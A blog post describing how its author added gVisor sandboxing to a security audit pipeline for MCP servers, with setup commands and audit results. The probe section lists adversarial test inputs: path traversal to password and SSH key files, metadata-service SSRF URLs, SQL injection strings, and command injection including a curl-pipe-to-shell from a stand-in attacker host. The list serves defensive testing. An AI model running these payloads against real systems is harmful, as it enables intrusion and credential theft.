Last week I built MarketNow, an open marketplace for MCP (Model Context Protocol) servers. Every server in our catalog goes through a multi-layer security audit called Sentinel. Layer 2 runs each server in a Docker sandbox with --network none --read-only --cap-drop ALL
.
But Docker containers still share the host kernel. A kernel exploit (dirty pipe, eBPF, container escape) breaks out. So this week I added L2.5: gVisor sandbox isolation.
gVisor is Google's userspace kernel. It intercepts every syscall the container makes and handles it in userspace — the MCP server never touches the host kernel directly. It's what Google uses for App Engine and Cloud Run.
I picked the most official target I could find: ** @modelcontextprotocol/server-filesystem** — Anthropic's own reference filesystem MCP server. The one in
If gVisor breaks this, it breaks everything.
wget https://storage.googleapis.com/gvisor/releases/nightly/latest/runsc -O /usr/local/bin/runsc
chmod +x /usr/local/bin/runsc
echo '{"runtimes":{"runsc":{"path":"/usr/local/bin/runsc"}}}' | sudo tee /etc/docker/daemon.json
sudo systemctl restart docker
docker run --rm \
--runtime=runsc \
--network none \
--read-only \
--cap-drop ALL \
--security-opt no-new-privileges \
--memory 256m \
--memory-swap 0 \
--cpus 0.5 \
--pids-limit 64 \
--tmpfs /tmp:rw,size=64m \
-e SKILL_ID=mn-mcp-filesystem \
-e SENTINEL_L2_MODE=gvisor \
mcp-audit-target
Then a Python probe sends real MCP protocol messages: initialize
, tools/list
, tools/call
— with 60+ adversarial inputs across 6 categories:
../../etc/passwd
, ../../../root/.ssh/id_rsa
http://169.254.169.254/latest/meta-data/
, http://localhost:8080/admin
1' OR 1=1--
, 1; DROP TABLE users--
; cat /etc/shadow
, $(whoami)
, curl http://evil.com/sh | sh
The gVisor sandbox ran. The MCP server started. The probe sent 60+ adversarial inputs. The server did not:
--network none
)--read-only
-
gVisor's 9p filesystem overlay)
--cap-drop ALL -
gVisor's syscall filter)
/proc/self/environ
or /etc/shadow
(gVisor virtualizes /proc
and /sys
).ssh
, .env
, .aws/credentials
, authorized_keys
, or cron filesptrace
, bpf
, mount
, kexec
, clone3
, or unshare
syscallsResult: 10/10 risk score (low risk). Anthropic's filesystem server is clean.
{
"l2_version": "2.5",
"sandbox_config": {
"gvisor": "gvisor-active",
"network": "none",
"filesystem": "read-only",
"capabilities": "dropped ALL",
"seccomp_profile": "n/a (gVisor userspace kernel active)"
},
"analysis_layers": {
"stdout_passive": { "network_attempts": 0, "credential_leakage": 0 },
"strace_syscalls": { "file_access_sensitive": 0, "network_connect": 0 },
"mcp_probe_active": { "tools_discovered": 0, "adversarial_findings": 0 },
"filesystem_diff": { "files_created": 0, "suspicious_changes": [] },
"l25_seccomp_violations": { "ptrace_attempted": false, "bpf_attempted": false },
"l25_suspicious_files": { "ssh_files": false, "env_files": false }
},
"l2_score": 10,
"l2_risk_level": "low"
}
| Layer | Standard Docker (L2) | gVisor (L2.5) |
|---|---|---|
| Kernel access | Shared host kernel | Userspace kernel (no direct host kernel access) |
/proc , /sys |
||
| Real host files | Fully virtualized (no host info leakage) | |
| Filesystem | Overlay on host fs | 9p overlay (no direct host fs access) |
| Network | ||
--network none blocks egress |
||
Netstack isolation (even without --network none ) |
||
| Kernel exploits | Container escape possible (dirty pipe, eBPF) | Cannot escape via kernel exploits |
| Syscall filtering | seccomp (blocklist) | All syscalls go through gVisor (allowlist by default) |
--network none
on docker build
breaks npm install
I had added --network none
to the build step to prevent exfiltration at build time. But this blocks npm install
from reaching registry.npmjs.org
— EAI_AGAIN
after 936 seconds of retries.
Fix: Remove --network none
from docker build
. Build-time network is safe (GitHub Actions runner has no sensitive data). Runtime isolation (docker run --network none
) is what actually matters.
cd
into MCP server dir
After cd /tmp/mcp-server/src/filesystem
for npm install
, the working directory changed. So python3 scripts/l2-mcp-probe.py
looked in the wrong place.
Fix: Save $GITHUB_WORKSPACE
at the start, use absolute paths ($REPO_WS/scripts/l2-mcp-probe.py
) for all script calls.
/etc/docker/daemon.json
The runner user can't write to /etc/docker/
without sudo.
Fix: sudo tee /etc/docker/daemon.json
, sudo systemctl restart docker
.
gVisor didn't actually catch anything that standard Docker + seccomp wouldn't have caught for this particular server. The filesystem server is well-behaved — it didn't try to escape.
But that's the point. gVisor is insurance for the servers that do try to escape. The next MCP server I audit might be malicious. Standard Docker relies on the host kernel being bug-free. gVisor doesn't.
The cost: gVisor adds ~5-10% overhead on syscall-heavy workloads. For an MCP server that mostly does I/O on JSON-RPC, that's negligible.
L3 — Firecracker microVM (Q1 2027). Replace Docker+gVisor with Firecracker (the VMM that powers AWS Lambda and Fargate). KVM-level isolation. Each MCP server runs in its own VM. Boot time < 125ms.
The full audit pipeline:
The L2.5 audit result for mn-mcp-filesystem
is public:
https://github.com/edgarfloresguerra2011-a11y/marketnow/blob/master/_data/l2_results/mn-mcp-filesystem.json
The Sentinel audit engine is proprietary (AliceLabs LLC), but the audit results are public. Every skill in the MarketNow registry has a signed SHA-256 certificate you can verify at /verify.
If you want your MCP server audited, open an issue: github.com/edgarfloresguerra2011-a11y/marketnow/issues
MarketNow is the trust layer for agent commerce. 8,760+ MCP servers, each security-audited by Sentinel. Follow the project on GitHub.